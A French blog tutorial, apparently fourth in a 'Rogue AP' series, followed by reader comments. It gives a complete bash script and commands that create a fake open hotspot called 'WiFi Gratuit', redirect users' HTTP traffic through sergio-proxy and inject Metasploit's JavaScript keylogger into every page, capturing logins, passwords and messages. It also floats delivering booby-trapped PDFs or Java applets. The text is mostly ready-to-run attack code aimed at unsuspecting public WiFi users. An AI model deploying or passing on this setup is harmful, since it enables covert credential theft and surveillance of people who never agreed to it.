[Tuto] Rogue AP – Episode 4 : Un keylogger invisible

Salut à tous ! Les 3 premiers épisodes de cette série étaient plutôt longs, mais maintenant on a de bonnes bases pour la suite. Voyons où nous en sommes :

  • Dans l’Épisode 1, on a vu comment créer un réseau WiFi ouvert et rediriger ses clients vers le net.
  • Dans l’Épisode 2, on a pu installer sergio-proxy et forcer le trafic HTTP de la cible à y passer sans que la victime s’en rende compte
  • Dans l’Épisode 3, on a vu comment injecter du code Javascript ou HTML dans toutes les pages que la victime va visiter.

Jusqu’à présent, les exemples que j’ai donnés étaient plutôt gentils, plus des blagues qu’une vraie attaque. Mais on peut facilement deviner que l’outil peut aller bien au delà de ça… Vous vous souvenez de toutes ces attaques où « il suffit que la victime clique sur un lien » ? Un peu improbable, sauf qu’on a maintenant un moyen de faire « cliquer » la cible à son insu 😀 Oui, j’en vois là dans le fond qui ont déjà l’œil pétillant et la bave aux lèvres !

On pense bien sûr immédiatement à Metasploit, d’ailleurs mon premier exemple portera sur lui. Plus exactement son module de keylogger en Javascript, dont vous avez peut-être entendu parler. Bon, la démo en soi n’est pas super impressionnante, Metasploit génère une page bidon pour montrer que le module fonctionne, mais pour faire utiliser ça à une cible va falloir être vachement persuasif ! Sauf si on injecte le code Javascript qui va bien dans le trafic de ladite cible, à l’insu de son plein gré…

On commence par générer le code avec Metasploit, et on démarre un handler (un processus d’écoute) :

msfcli auxiliary/server/capture/http_javascript_keylogger URIPATH=keylogger SRVHOST=192.168.2.1 SRVPORT=8080 E

Une fois que c’est prêt (ça prend un peu de temps, attendez la mention « Server started »), on démarre sergio-proxy avec les options qui vont bien :

./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --js-url http://192.168.2.1:8080/keylogger/anyname.js

On se retrouve alors avec une console où apparaît tout ce que tape la cible sur les sites qu’elle visite (login, mot de passe, recherche, messages,…). Le code sera injecté sur toutes les pages, donc tous les résultats apparaîtront en même temps ; les différentes sessions sont identifiées par une séquence aléatoire mais on ne peut pas savoir à quel site ça correspond. Vous noterez au passage que le résultat est sauvé dans différents fichiers texte au sein du dossier /root/.msf4/loot/ pour pouvoir lire ça au calme plus tard chez soi au coin du feu 😉

Je rappelle au passage la limitation habituelle : seul le trafic HTTP est impacté, les sites en HTTPS ne sont pas redirigés vers sergio-proxy donc vous ne pourrez pas utiliser cette technique pour choper des mots de passe Gmail ou Paypal (ou Facebook, dans une moindre mesure). Je vous dois encore un article sur le HTTPS, je n’oublie pas !

Un petit script pour intégrer tout ça à partir d’une BackTrack 5R3-KDE-32 :

#!/bin/bash
# Create a transparent hotspot, redirect HTTP traffic to sergio-proxy
# and injects Metasploit's javascript keylogger in every page
# Tested & OK with BackTrack 5R3-KDE-32
# Author : Antares145 - 2013, licence CC-BY-NC

# -1- Créer un réseau transparent, cfr. premier tuto

# Spécifier les interfaces réseau ici :
NET_IFACE=wlan0
ROGUE_IFACE=wlan1
# Choisir un répertoire pour les fichiers de log
# (! dans /tmp/ ils seront effacés au reboot)
LOG_FILE=/tmp/log.txt

# Nettoyage des processus et des fichiers
# Les redirections &> sont là pour ne rien afficher à l'écran
rm /tmp/udhcpd.* &> /dev/null
rm $LOG_FILE &> /dev/null
killall airbase-ng &> /dev/null
killall udhcpd &> /dev/null
airmon-ng stop mon0 &> /dev/null

# Installation de udhcpd et génération de sa config
echo "Installation de Udhcpd"
echo "(Ca peut prendre un peu de temps...)"
# Pour utiliser le script sous Kali 1.0, décommenter la ligne suivante
#apt-get update &>> $LOG_FILE
apt-get install udhcpd &>> $LOG_FILE
echo "max_leases 10
start 192.168.2.10
end 192.168.2.20
interface at0
domain local
option dns 8.8.8.8
option subnet 255.255.255.0
option router 192.168.2.1
lease 7200
lease_file /tmp/udhcpd.leases" > /tmp/udhcpd.conf
touch /tmp/udhcpd.leases &>> $LOG_FILE

#Création du réseau WiFi
echo "Démarage du réseau WiFi"
airmon-ng start $ROGUE_IFACE &>> $LOG_FILE
airbase-ng -c 3 -e 'WiFi Gratuit' mon0 &>> $LOG_FILE &
sleep 5
ifconfig at0 up
ifconfig at0 192.168.2.1 netmask 255.255.255.0 &>> $LOG_FILE
# Démarrage du DHCP et du Transfert de trafic
echo "Démarrage du serveur DHCP"
udhcpd /tmp/udhcpd.conf &>> $LOG_FILE
echo 1 > /proc/sys/net/ipv4/ip_forward
# Effacer toutes les règles IpTables pour ne garder que les bonnes
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
# Activer le transfert vers l'interface $NET_IFACE
iptables -t nat -A POSTROUTING -o $NET_IFACE -j MASQUERADE
echo "Le réseau est opérationnel !"

########################################################
#Jusqu'ici rien ne change par rapport au premier script#
########################################################

# -2- Installation de sergio-proxy

cd /pentest/web/
echo "Installation de sergio-proxy"
wget http://sergio-proxy.googlecode.com/files/sergio-proxy-v0.2.1.tar.gz &> /dev/null
tar -xf sergio-proxy-v0.2.1.tar.gz
rm sergio-proxy-v0.2.1.tar.gz
cd sergio-proxy/
chmod +x sergio-proxy.py
# Désactivation de la règle iptable si elle existe
iptables -t nat -D PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.1:10000 &> /dev/null
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.1:10000

# -3- Création et injection du keylogger

echo "Lancement de sergio-proxy..."
./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --js-url http://192.168.2.1:8080/keylogger/anyname.js &> /tmp/sergio-log.txt &
echo "Chargement du keylogger, un peu de patience"
msfcli auxiliary/server/capture/http_javascript_keylogger URIPATH=keylogger SRVHOST=192.168.2.1 SRVPORT=8080 E

Je dois rendre à César ce qui appartient à César, cette idée n’est pas de moi, enfin pas tout à fait. J’ai été très inspiré par l’article suivant :
z’Eagle — Injecting keylogger
La différence, c’est que lui utilise Ettercap et un filtre-maison (compilé via Etterfilter) pour injecter le trafic. Par contre, Ettercap ne peut pas fonctionner sur une machine qui est en passerelle/gateway (comme c’est le cas pour nous) : il doit désactiver l’ip_forward (echo 0 > /proc/sys/net/ipv4/ip_forward) pour gérer le routage lui-même, mais alors la machine ne peut plus faire son boulot. J’ai perdu 2 jours à comprendre ça (et c’est d’ailleurs en cherchant une alternative que je suis tombé sur sergio-proxy ;))

Je pense qu’avec ça, on comprend encore mieux la puissance de sergio-proxy sur le plan offensif. Les scénarios sont multiples, d’ailleurs j’ai pas encore eu le temps d’essayer tous ceux auxquels j’ai pensé, comme charger une applet Java ou un PDF piégé dans une iFrame cachée. Tout en insérant une barre d’information pour mettre le client en confiance et qu’il accepte les avertissements… Y a du boulot !

Alors, toujours aussi motivés pour utiliser les réseaux WiFi « gratuits » ? 😛

Publicités
Cet article a été publié dans rogue-ap, tuto. Ajoutez ce permalien à vos favoris.

15 commentaires pour [Tuto] Rogue AP – Episode 4 : Un keylogger invisible

  1. Noireaude dit :

    Le fait que l’utilisation de cette technique sot exclue avec le protocole HTTPS est déjà rassurant. Ça exclu pour autant les risques liés au rejeux de cookies ?

    • antares145 dit :

      Avec sergio-proxy en tout cas oui, puisqu’il n’intercepte pas les cookies (même en HTTP). Par rapport aux autres outils (comme Hamster & Ferret ou Wifizoo), ça dépend si le site protège ses cookies en HTTPS ou pas. Sergio-proxy ne change rien à ce niveau-là, ni pour le mieux ni pour le pire 😉

  2. Noireaude dit :

    Je pensais plus à Hamster Ferret en effet.

  3. Noireaude dit :

    Hs, Bientôt le cap des 1000 vues 🙂

  4. Furyo dit :

    Du travail de passionné !

    Bravo 😉

  5. Koala dit :

    C’est très prometteur effectivement 🙂

    Durant le test de la nouvelle version du forum l’année dernière, je sais pas si tu te souviens mais j’avais poster un script php qui permettait d’appuyer sur un bouton lors du chargement d’une page web a l’insu de la personne en se basant sur une faille dans les tokens.Je verrais si je peux adapter ce script a d’autres situations.

  6. eric dit :

    Encore du jolie travail. Un grand merci s’impose.

    Pour ceux qui rencontrerais le même problème que moi. J’utilise une version pas trop à jour de metasploit qui ne contien pas le module http_javascript_keylogger et j’ai la flème de mettre à jour le framework. Un truc du genre :

    cd && mkdir -p .msf3/modules/auxiliary/server/capture/ && wget "https://raw.github.com/rapid7/metasploit-framework/master/modules/auxiliary/server/capture/http_javascript_keylogger.rb" -O .msf3/modules/auxiliary/server/capture/http_javascript_keylogger.rb && msfconsole [quit]

    devrait rajouter le module au framework.

  7. MrWoot dit :

    Trés bon billet comme tous les précédents, n’y a t’il pas moyen de faire la même chose avec un proxy gérant le HTTPS ? :p

    • antares145 dit :

      Encore faudrait-il trouver un proxy qui gère proprement le HTTPS 🙂 Sslstrip était notre meilleure option, mais les développements récents du HSTS (cfr. mon dernier article sur le sujet) rendent l’approche plus difficile.
      J’ignore volontairement le vieux scénario du MITM et de substitution de certificats (coucou Ettercap), tellement cette méthode est flagrante et peu efficace même sur les « victimes » moins méfiantes. Donc à moins d’avoir un certificat proprement signé pour le bon domaine (pas facile), le HTTPS reste un client difficile…

      Tu as un proxy HTTPS à me suggérer peut-être ? 😉

      • MrWoot dit :

        Non justement j’ai pas trouvé mieux que Sslstrip moi non plus :/ du coup j’essaye de chercher un moyen d’injecter un payload le plus discrètement possible sur ma machine victime 🙂

  8. Spritueur dit :

    j’ai une question on rentre où l’adresse ip de la « cible »?

    • antares145 dit :

      On ne doit pas « cibler » une victime en particulier, tous les utilisateurs du réseau WiFi « piégé » seront touchés par la modification de trafic (donc le keylogger, dans ce cas-ci).

  9. oxley dit :

    msfcli n’existe plus pour la derniere version de kali; Une idée?

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s